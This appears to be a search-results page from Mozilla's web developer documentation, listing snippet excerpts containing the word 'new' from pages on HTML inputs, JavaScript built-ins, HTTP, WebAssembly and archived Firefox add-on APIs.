100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="datetime-local">, we create a new <input> element, try setting its type to datetime-local, then immediately check what its type is set to.
...r('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); var hourselect = document.queryselector('#hour'); var minuteselect = document.queryselector('#minute'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new datetime-local input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'datetime-local'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; f...
...re always the same, therefore hardcoded) populatedays(monthselect.value); populateyears(); populatehours(); populateminutes(); } function populatedays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while(dayselect.firstchild){ dayselect.removechild(dayselect.firstchild); } // create variable to hold new number of days to inject var daynum; // 31 or 30 days?
...And 3 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
this isn't as informative as using either current-password or new-password.
...this provides more information than on does, since it lets the browser or password manager automatically enter currently-known password for the site in the field, but not to suggest a new one.
... new-password allow the browser or password manager to automatically enter a new password for the site; this is used on "change your password" and "new user" forms, on the field asking the user for a new password.
...And 3 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element.
... 38 html attribute: capture api, attribute, attributes, capture, constraint validation, html the capture attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept attribute.
... 96 <element>: the custom element element (obsolete) element, html, obsolete, web components, custom elements, shadow dom the obsolete html <element> element was part of the web components specification; it was intended to be used to define new custom dom elements.
...And 3 more matches
Browser detection using the user agent - HTTP
var camelcaseexpression = new regexp("(?<=[a-z])"); var splitupstring = function(str) { return (""+str).split(camelcaseexpression); }; } else { /*this fallback code is much less performant, but works*/ var splitupstring = function(str){ return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); }; } console.log(splitupstring("foobare")); // ["foob", "are"] console.log(splitupstring("jqwhy"));...
... problems like these can be avoided by testing for support of the feature itself instead: var islookbehindsupported = false; try { new regexp("(?<=)"); islookbehindsupported = true; } catch (err) { // if the agent doesn't support lookbehinds, the attempted // creation of a regexp object using that syntax throws and // islookbehindsupported remains false.
...function(str) { return (""+str).split(new regexp("(?<=[a-z])")); } : function(str) { return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); }; as the above code demonstrates, there is always a way to test browser support without user agent sniffing.
...And 3 more matches
Connection management in HTTP/1.x - HTTP
these connections were short-lived: a new one created each time a request needed sending, and closed once the answer had been received.
... two newer models were created in http/1.1.
... the persistent-connection model keeps connections opened between successive requests, reducing the time needed to open new connections.
...And 3 more matches
Large-Allocation - HTTP
this page was loaded in a new process due to a large-allocation header.
... this message means that the browser saw the large-allocation header, and was able to reload the page into a new process which should have more available contiguous memory.
... when a post request is used to load a document, that load cannot currently be redirected into a new process.
...And 3 more matches
Equality comparisons and sameness - JavaScript
well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
... var num = 0; var obj = new string('0'); var str = '0'; console.log(num === num); // true console.log(obj === obj); // true console.log(str === str); // true console.log(num === obj); // false console.log(num === str); // false console.log(obj === str); // false console.log(null === undefined); // false console.log(obj === null); // false console.log(obj === undefined); // false strict equality is almost always the corr...
... var num = 0; var obj = new string('0'); var str = '0'; console.log(num == num); // true console.log(obj == obj); // true console.log(str == str); // true console.log(num == obj); // true console.log(num == str); // true console.log(obj == str); // true console.log(null == undefined); // true // both false, except in rare cases console.log(obj == null); console.log(obj == undefined); in most cases, using loose equality...
...And 3 more matches
Keyed collections - JavaScript
maps map object ecmascript 2015 introduces a new data structure to map values to values.
... let sayings = new map(); sayings.set('dog', 'woof'); sayings.set('cat', 'meow'); sayings.set('elephant', 'toot'); sayings.size; // 3 sayings.get('dog'); // woof sayings.get('fox'); // undefined sayings.has('bird'); // false sayings.delete('dog'); sayings.has('dog'); // false for (let [key, value] of sayings) { console.log(key + ' goes ' + value); } // "cat goes meow" // "elephant goes toot" sayings.clear(); sayings.size; // 0 object and map compared traditionally, objects have been used...
... const privates = new weakmap(); function public() { const me = { // private data goes here }; privates.set(this, me); } public.prototype.method = function () { const me = privates.get(this); // do stuff with private data in `me`...
...And 3 more matches
Boolean - JavaScript
for example, the condition in the following if statement evaluates to true: var x = new boolean(false); if (x) { // this code is executed } this behavior does not apply to boolean primitives.
...var x = !!(expression); // ...or this var x = new boolean(expression); // don't use this!
... if you specify any object, including a boolean object whose value is false, as the initial value of a boolean object, the new boolean object has a value of true.
...And 3 more matches
Date.prototype.toLocaleString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the behavior of the function.
... let date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocalestring() without arguments depends on the // implementation, the default locale, and the default time zone console.log(date.tolocalestring()); // → "12/11/2012, 7:00:00 pm" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in al...
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocalestringsupportslocales() { try { new date().tolocalestring('i'); } catch (e) { return e instanceof rangeerror; } return false; } using locales this example shows some of the variations in localized date and time formats.
...And 3 more matches
Date - JavaScript
tc39 is working on temporal, a new date/time api.
... constructor date() creates a new date object.
... let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) let birthday = new date(628021800000) // passing epoch timestamp to get date, month and year or time let [month, date, year] = ( new date() ).tolocale...
...And 3 more matches
Error - JavaScript
description runtime errors result in new error objects being created and thrown.
... constructor error() creates a new error object.
...you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof evalerror) { console.error(e.name + ': ' + e.messa...
...And 3 more matches
Function.prototype.apply() - JavaScript
with apply, you can write a method once, and then inherit it in another object, without having to rewrite the method for the new object.
...with apply, you can also use an array literal, for example, func.apply(this, ['eat', 'bananas']), or an array object, for example, func.apply(this, new array('eat', 'bananas')).
...concat does have the desired behaviour in this case, but it does not append to the existing array—it instead creates and returns a new array.
...And 3 more matches
Function.name - JavaScript
source code such as: function foo() {}; let foo = new foo(); if (foo.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } may be compressed to: function a() {}; let b = new a(); if (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-branch and logs "'foo' is an...
... function dosomething() {} dosomething.name; // "dosomething" function constructor name functions created with the syntax new function(...) or just function(...) create function objects and their name is "anonymous".
... (new function).name; // "anonymous" anonymous function expression anonymous function expressions that were created using the keyword function or arrow functions would have ""(an empty string) as their name.
...And 3 more matches
Intl.DisplayNames - JavaScript
constructor intl.displaynames() creates a new intl.displaynames object.
... intl.displaynames.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
... // get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to...
...And 3 more matches
Intl.NumberFormat - JavaScript
constructor intl.numberformat() creates a new numberformat object.
... intl.numberformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
... var number = 3500; console.log(new intl.numberformat().format(number)); // → '3,500' if in us english locale using locales this example shows some of the variations in localized number formats.
...And 3 more matches
Object.preventExtensions() - JavaScript
the object.preventextensions() method prevents new properties from ever being added to an object (i.e.
... description an object is extensible if new properties can be added to it.
...attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most commonly, but not exclusively, when in strict mode).
...And 3 more matches
Object - JavaScript
when called in a non-constructor context, object behaves identically to new object().
... constructor object() creates a new object object.
... object.create() creates a new object with the specified prototype object and properties.
...And 3 more matches
Promise() constructor - JavaScript
syntax new promise(executor) parameters executor a function to be executed by the constructor, during the process of constructing the promiseobj.
...} at the time when the constructor generates the new promiseobj, it also generates a corresponding pair of functions for resolutionfunc and rejectionfunc; these are "tethered" to the promiseobj.
... return value promiseobj when called via new, the promise constructor returns a promise object.
...And 3 more matches
Planned changes to shared memory - JavaScript
new http header bonanza as a baseline requirement, documents will need to be in a secure context.
... api changes as a result of this newly required environment, there are a couple api implications: the atomics object is always available.
... webassembly shared memory the webassembly threads proposal allows webassembly.memory objects to be created with a new shared constructor flag.
...And 3 more matches
TypedArray.prototype.filter() - JavaScript
the filter() method creates a new typed array with all elements that pass the test implemented by the provided function.
... return value a new typed array with the elements that pass the test.
... description the filter() method calls a provided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value.
...And 3 more matches
TypedArray.from() - JavaScript
the typedarray.from() method creates a new typed array from an array-like or iterable object.
... return value a new typedarray instance.
... differences from array.from() some subtle distinctions between array.from() and typedarray.from(): if the thisarg value passed to typedarray.from() is not a constructor, typedarray.from() will throw a typeerror, where array.from() defaults to creating a new array.
...And 3 more matches
WebAssembly.Memory - JavaScript
constructor webassembly.memory() creates a new memory object.
... examples creating a new memory object there are two ways to get a webassembly.memory object.
...the following example creates a new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib).
...And 3 more matches
eval() - JavaScript
eval(new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work around this limitation in a generic fashion by using tostring().
... var expression = new string('2 + 2'); eval(expression.tostring()); // returns 4 if you use the eval function indirectly, by invoking it via a reference other than eval, as of ecmascript 5 it works in the global scope rather than the local scope.
...additonally, new things can be introduced to that variable through eval() such as changing the type of that variable, forcing the browser to re-evaluate all of the generated machine code to compensate.
...And 3 more matches
Iteration protocols - JavaScript
as a couple of additions to ecmascript 2015, iteration protocols aren't new built-ins or syntax, but protocols.
...lue: "i", done: false } console.log(iterator.next()); // { value: undefined, done: true } some built-in constructs—such as the spread syntax—use the same iteration protocol under the hood: console.log([...somestring]); // ["h", "i"] you can redefine the iteration behavior by supplying our own @@iterator: // need to construct a string object explicitly to avoid auto-boxing let somestring = new string('hi'); somestring[symbol.iterator] = function () { return { // this is the iterator object, returning a single element (the string "bye") next: function () { return this._first ?
...some examples include: new map([iterable]) new weakmap([iterable]) new set([iterable]) new weakset([iterable]) new map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2); // "b" let myobj = {}; new weakmap([ [{}, 'a'], [myobj, 'b'], [{}, 'c'] ]).get(myobj); // "b" new set([1, 2, 3]).has(3); // true new set('123').has('2'); // true new weakset(function* () { yield {} yield myobj yield {} }...
...And 3 more matches
Lexical grammar - JavaScript
line terminator characters code point name abbreviation description escape sequence u+000a line feed <lf> new line character in unix systems.
... \n u+000d carriage return <cr> new line character in commodore and early mac systems.
... keywords reserved keywords as of ecmascript 2015 break case catch class const continue debugger default delete do else export extends finally for function if import in instanceof new return super switch this throw try typeof var void while with yield future reserved keywords the following are reserved as future keywords by the ecmascript specification.
...And 3 more matches
Spread syntax (...) - JavaScript
syntax for function calls: myfunction(...iterableobj); for array literals or strings: [...iterableobj, '4', 'five', 6]; for object literals (new in ecmascript 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax.
... function myfunction(v, w, x, y, z) { } const args = [0, 1]; myfunction(-1, ...args, 2, ...[3]); apply for new operator when calling a constructor with new it's not possible to directly use an array and apply() (apply() does a [[call]] and not a [[construct]]).
... however, an array can be easily used with new thanks to spread syntax: const datefields = [1970, 0, 1]; // 1 jan 1970 const d = new date(...datefields); to use new with an array of parameters without spread syntax, you would have to do it indirectly through partial application: function applyandnew(constructor, args) { function partial () { return constructor.apply(this, args); }; if (typeof constructor.prototype === "object") { partial.prototype = object.create(constructor.prototype); } return partial; } function myconstructor () { console.log("arguments.length: " + arguments.length); console.log(arguments); this.prop1="val1"; this.prop2="val2"; }; const myarguments = ["hi", "how", "are", "you", "mr", null]; const myconstructorwitharguments = a...
...And 3 more matches
JavaScript typed arrays - JavaScript
examples using views with buffers first of all, we will need to create a buffer, here with a fixed length of 16-bytes: let buffer = new arraybuffer(16); at this point, we have a chunk of memory whose bytes are all pre-initialized to 0.
...let's create a view that treats the data in the buffer as an array of 32-bit signed integers: let int32view = new int32array(buffer); now we can access the fields in the array just like a normal array: for (let i = 0; i < int32view.length; i++) { int32view[i] = i * 2; } this fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6.
...for example, given the code above, we can continue like this: let int16view = new int16array(buffer); for (let i = 0; i < int16view.length; i++) { console.log('entry ' + i + ': ' + int16view[i]); } here we create a 16-bit integer view that shares the same buffer as the existing 32-bit view and we output all the values in the buffer as 16-bit integers.
...And 3 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
registering the service worker we'll start by looking at the code that registers a new service worker, in the app.js file: note : we're using the es6 arrow functions syntax in the service worker implementation if('serviceworker' in navigator) { navigator.serviceworker.register('./pwa-examples/js13kpwa/sw.js'); }; if the service worker api is supported in the browser, it is registered against the site using the serviceworkercontainer.register() method.
...e, the app adds it there first before then serving it: self.addeventlistener('fetch', (e) => { e.respondwith( caches.match(e.request).then((r) => { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then((response) => { return caches.open(cachename).then((cache) => { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); here, we respond to the fetch event with a function that tries to find the resource in the cache and return the response if it's there.
...it also caches new content whenever it is added.
...And 3 more matches
Compiling from Rust to WebAssembly - WebAssembly
building our webassembly npm package enough setup; let's create a new package in rust.
... navigate to wherever you keep your personal projects, and type this: $ cargo new --lib hello-wasm created library `hello-wasm` project this creates a new library in a subdirectory named hello-wasm with everything you need to get going: +-- cargo.toml +-- src +-- lib.rs first, we have cargo.toml; this is the file that we use to configure our build.
... using the package on the web let's build a website that uses our new package.
...And 3 more matches
Interacting with page scripts - Archive of obsolete content
it can then clone objects or export functions as members of that new object.
... for example, in the example above the content script could be written like so: // content-script.js var salutation = "hello, "; function greetme(user) { return salutation + user; } var foo = createobjectin(unsafewindow, {defineas: "foo"}); exportfunction(greetme, foo, {defineas: "greetme"}); this creates a new object foo in the page script scope, and exports greetme() as a member of foo.
...e="text/javascript" src="page-script.js"></script> </body> </html> the content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var event = new customevent("addon-message", { bubbles: true, detail: greeting }); document.documentelement.dispatchevent(event); } finally, the page script "page-script.js" listens for the message and logs the greeting to the web console: window.addeventlistener("addon-message", function(event) { console.log(event.detail.greeting); }, false); after firefox 30: clone the message object this technique d...
...And 2 more matches
XUL Migration Guide - Archive of obsolete content
xul windows xul windows are used to define completely new windows to host user interface elements specific to the add-on.
...because we expect to keep these apis compatible as new versions of firefox are released, we call them the "supported" apis.
... using third party packages the sdk is extensible by design: developers can create new modules filling gaps in the sdk, and package them for distribution and reuse.
...And 2 more matches
core/promise - Archive of obsolete content
propagation the then method of a promise returns a new promise that is resolved with the return value of either handler.
... readasync(url).then(function (value) { throw new error("can't bar."); }, function (error) { // we only get here if `readasync` fails.
...module exports promised function to do exactly that: const { promised } = require('sdk/core/promise'); function sum(x, y) { return x + y }; var asyncsum = promised(sum); var c = sum(a, b); var casync = asyncsum(aasync(), basync()); promised takes normal function and composes new promise-aware version of it.
...And 2 more matches
platform/xpcom - Archive of obsolete content
sdk/platform/xpcom'); var { cc, ci } = require('chrome'); var contractid = '@me.org/helloworld'; // define a component var helloworld = class({ extends: unknown, get wrappedjsobject() this, hello: function() {return 'hello world';} }); // create and register the factory var factory = factory({ contract: contractid, component: helloworld }); // xpcom clients can retrieve and use this new // component in the normal way var wrapper = cc[contractid].createinstance(ci.nsisupports); var helloworld = wrapper.wrappedjsobject; console.log(helloworld.hello()); using class id you can specify a class id for the factory by setting the id option in the factory's constructor.
...e service using the getservice() api: var { class } = require('sdk/core/heritage'); var { unknown, service } = require('sdk/platform/xpcom'); var { cc, ci } = require('chrome'); var contractid = '@me.org/timestampedlogger'; // implement the service by subclassing unknown var timestampedlogger = class({ extends: unknown, get wrappedjsobject() this, log: function(message) { console.log(new date().gettime() + ' : ' + message); } }); // register the service using the contract id var service = service({ contract: contractid, component: timestampedlogger }); // access the service using getservice() var wrapper = cc[contractid].getservice(ci.nsisupports); var logger = wrapper.wrappedjsobject; logger.log('a timestamped message'); by default, services are registered and unregiste...
... so if a factory is registered with the contract id "@me.org/mycomponent", and another factory is already registered with that contract id, then: components.classes["@me.org/mycomponent"] will return the old factory, while: xpcom.factorybycontract("@me.org/mycomponent") will return the new one.
...And 2 more matches
tabs/utils - Archive of obsolete content
opentab(window, url, options) open a new tab in the specified browser window.
... options : object optional options: name type inbackground boolean if true, open the new tab, but keep the currently selected tab selected.
... if false, make the new tab the selected tab.
...And 2 more matches
Getting Started (jpm) - Archive of obsolete content
initializing an empty add-on in the command prompt, create a new directory.
... next, create a directory called "data" in your add-on's root, mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: jpm run this is the jpm command to run a new instance of firefox with your add-on installed.
...click the icon, and a new tab will open with http://www.mozilla.org/ loaded into it.
...And 2 more matches
Using third-party modules (jpm) - Archive of obsolete content
we'll use the menuitem package to add a new menu item to firefox.
... summary first, while in the root of your add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a new directory in your add-on root called "node_modules" that contains a directory "menuitem".
... in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules".
...And 2 more matches
Canvas code snippets - Archive of obsolete content
function canvas2dcontext(canvas) { if (typeof canvas === 'string') { canvas = document.getelementbyid(canvas); } if (!(this instanceof canvas2dcontext)) { return new canvas2dcontext(canvas); } this.context = this.ctx = canvas.getcontext('2d'); if (!canvas2dcontext.prototype.arc) { canvas2dcontext.setup.call(this, this.ctx); } } canvas2dcontext.setup = function() { var methods = ['arc', 'arcto', 'beginpath', 'beziercurveto', 'clearrect', 'clip', 'closepath', 'drawimage', 'fill', 'fillrect', 'filltext', 'lineto', 'moveto', 'quadraticcurvet...
...cusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to chain their child objects 'createimagedata', 'createlineargradient', 'createradialgradient', 'getimagedata', 'putimagedata' ]; var props = ['canvas', 'fillstyle', 'font', 'globalalpha', 'globalcompositeoperation', 'linecap', 'linejoin', 'linewidth', 'miterlimit', 'shadowoffsetx', 'shadowoffsety', 'shadowblur', 'shadowcolor', 'strokestyle', 'textalign', 'textbaseline']; for (let m of methods) { let method = m; canvas2dcontext.prototype[method] = function() { this.ctx[method].apply(this.ctx, arguments); return this; }; } for (let m of gettermethods) { let method = m; canvas2dcontext.prototype[m...
... function savecanvas(canvas, path, type, options) { return task.spawn(function *() { var reader = new filereader; var blob = yield new promise(accept => canvas.toblob(accept, type, options)); reader.readasarraybuffer(blob); yield new promise(accept => { reader.onloadend = accept }); return yield os.file.writeatomic(path, new uint8array(reader.result), { tmppath: path + '.tmp' }); }); } loading a remote page onto a ca...
...And 2 more matches
File I/O - Archive of obsolete content
creating an nsifile object components.utils.import("resource://gre/modules/fileutils.jsm"); var file = new fileutils.file("/home"); or the same without using fileutils.jsm: var file = components.classes["@mozilla.org/file/local;1"].
...however, you can enumerate available drives using the following code: components.utils.import("resource://gre/modules/fileutils.jsm"); var root = new fileutils.file("\\\\."); var drivesenum = root.directoryentries, drives = []; while (drivesenum.hasmoreelements()) { drives.push(drivesenum.getnext().
... to get a url of a file, use nsiioservice.newfileuri(): // file is nsifile components.utils.import("resource://gre/modules/services.jsm"); var url = services.io.newfileuri(file); // url is a nsiuri; to get the string "file://...", see url.spec to get an nsifile from the 'file://' url, use nsifileurl: // url is a nsiuri; see nsiioservice::newuri for getting a string into a nsiuri.
...And 2 more matches
Finding window handles - Archive of obsolete content
g systems: windows - hwnd mac os x - nswindow* linux - gdkwindow* (it will be gdkwindow* no matter what desktop/window manager) is in use, for explanation why see the article: standard os libraries - unix section) windows components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw new error('no browser window found'); } var basewindow = browserwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterfac...
...(ctypes.uint64(hwndstring)); var rez_setforegroundwindow = setforegroundwindow(hwnd); console.log('rez_setforegroundwindow:', rez_setforegroundwindow, rez_setforegroundwindow.tostring()); user32.close(); mac os x objective-c components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw new error('no browser window found'); } var basewindow = browserwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterfac...
... examples gdk components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw new error('no browser window found'); } var basewindow = browserwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterfac...
...And 2 more matches
Custom about: URLs - Archive of obsolete content
this page describes how to register a new about: url for your extension.
...services.io.newchannel was deprecated, and the signature of the newchannel method changed.
...id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.freeze(this); } geturiflags(auri) { return ci.nsiaboutmodule.allow_script; } newchannel(auri, asecurity_or_aloadinfo) { let channel; if (services.vc.compare(services.appinfo.version, '47.*') > 0) { const uri = services.io.newuri(aboutpage_uri, null, null); // greater than or equal to firefox48 so asecurity_or_aloadinfo is aloadinfo channel = services.io.newchannelfromuriwithloadinfo(uri, asecurity_or_aloadinfo); } else { channel = s...
...And 2 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add the event listener to the top-level document directly as shown below (also see: accessing the elements of the top-level document from a child window).
...in the following code sample 2 methods are combined: setting an extra attribute in the original event target element, and creating a new event message with a new event target element.
...we need a new event trigger in the web page and some code to show the event message actually arrived.
...And 2 more matches
Custom XUL Elements with XBL - Archive of obsolete content
the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
... with xbl you can define new elements and define their properties, attributes, methods and event handlers.
...you should see a new item in the hello world menu, that opens a binding test window where you can add "persons" to a list.
...And 2 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
a 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-b...
...rtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html browser last release on site from july 2005 fabula language learning application inactive ...
... galeon browser last news item on site from september 2006 gencatrss rss reader domain switched over to domain parking service ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating environment for internet computers no longer available hp printer assistant printer utility hall of fame page mentions that this used an embedded version of mozilla at some point but i can't find reference to current status (may still be using mozilla code?) icebrowser java browser sdk uses mozilla rhino --eol'ed in 2009 (jin'sync) office app launcher download page last updated on 12/21/06 kylix compiler and integrated development environment borland discontinued this...
...And 2 more matches
Source code directories overview - Archive of obsolete content
it is a good document for a new mozilla developer to start learning about the mozilla code base.
...it is used to store mail box data, news data and global history data.
... mailnews contains c interfaces and code for the mail and news component (i.e.
...And 2 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
a newer document is available: creating a firefox sidebar this article describes how to create a registered sidebar for firefox 2 or greater.
... introduction this article is a quick start for the creation of a new sidebar for firefox.
...the goal is creating an empty sidebar that can be used as start for new sidebar applications.
...And 2 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
ns_frame_first_reflow this flag is set on a newly created frame, and later cleared by the frame's reflow() method when the frame has had its initial reflow.
...a new nslinelayout object is created for each inline linebox that is flowed.
...nsinlineframe::reflowframes creates a new perspandata when it calls nslinelayout::beginspan: at this time, the nslinelayout object's mcurrentspan is switched to the new span.
...And 2 more matches
Layout System Overview - Archive of obsolete content
perform the initial layout, or initial reflow, on the newly constructed frame.
...in the normal in-flow case this is quite natural because the sequential addition of new content results in sequential addition of new frames, and because everything is in-flow, the new frames do not influence the geometry of the frames that have already been formatted.
...if content elements have been inserted, new frames are created and formatted (and impacts to other frames are managed by performing further incremental reflows).
...And 2 more matches
Monitoring downloads - Archive of obsolete content
firefox 3 introduces new api that allows any number of listeners to observe downloads.
... that code looks like this: ondownloadstatechange: function(astate, adownload) { var statement; switch(adownload.state) { case components.interfaces.nsidownloadmanager.download_downloading: // add a new row for the download being started; each row includes the // source uri, size, and start time.
... in that case, we create a new row in our database for the new file by opening the database and building a replace into sqlite command.
...And 2 more matches
Space Manager High Level Design - Archive of obsolete content
if so, the vertical space that has been affected (including both the float's old region and the float's new region) is noted in the internal nsintervalset as potential float damage (the method is includeindamage).
... the new space manager instance is associated with the blockreflowstate.
... after the block frame's reflow has completed, the old space manager instance is re-associated with the blockreflowstate the new space manager is destroyed.
...And 2 more matches
Venkman Introduction - Archive of obsolete content
a powerful new tool is available for web developers for use in many mozilla-based products, including firefox, mozilla suite and netscape 7.x.
...fortunately, the xpinstall technology makes it possible to install new application modules in firefox by just clicking a hyperlink.
...you can then access the debugger via a new, dynamically created menuitem in the tools menu of that browser, or else restart the browser with a special debugger option.
...And 2 more matches
Mozilla Web Developer Community - Archive of obsolete content
get news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development.
... newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial case for web standards a list apart, for people who make websites mozilla technology evangelism, get involved with mozill...
...a evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at this time.
...And 2 more matches
Anonymous Content - Archive of obsolete content
when a new binding is attached, the bindings in its explicit 'inherits' chain are checked to see if any have anonymous content templates.
...if no insertion point is found for the newly-inserted child, then the binding is no longer a fit for the bound element, and all anonymous content will be destroyed.
... [editor's note: should there be an api for retrieving insertion points, for dynamically creating new insertion points, or for removing insertion points?
...And 2 more matches
Example Sticky Notes - Archive of obsolete content
fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityripple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="h...
... */ // your code goes here ]]></destructor> <field name="priority"><![cdata[ /** * new "real" property for the bound element.
... */ "normal"; ]]></field> <property name="innertext"> <!-- new "virtual" property for the bound element.
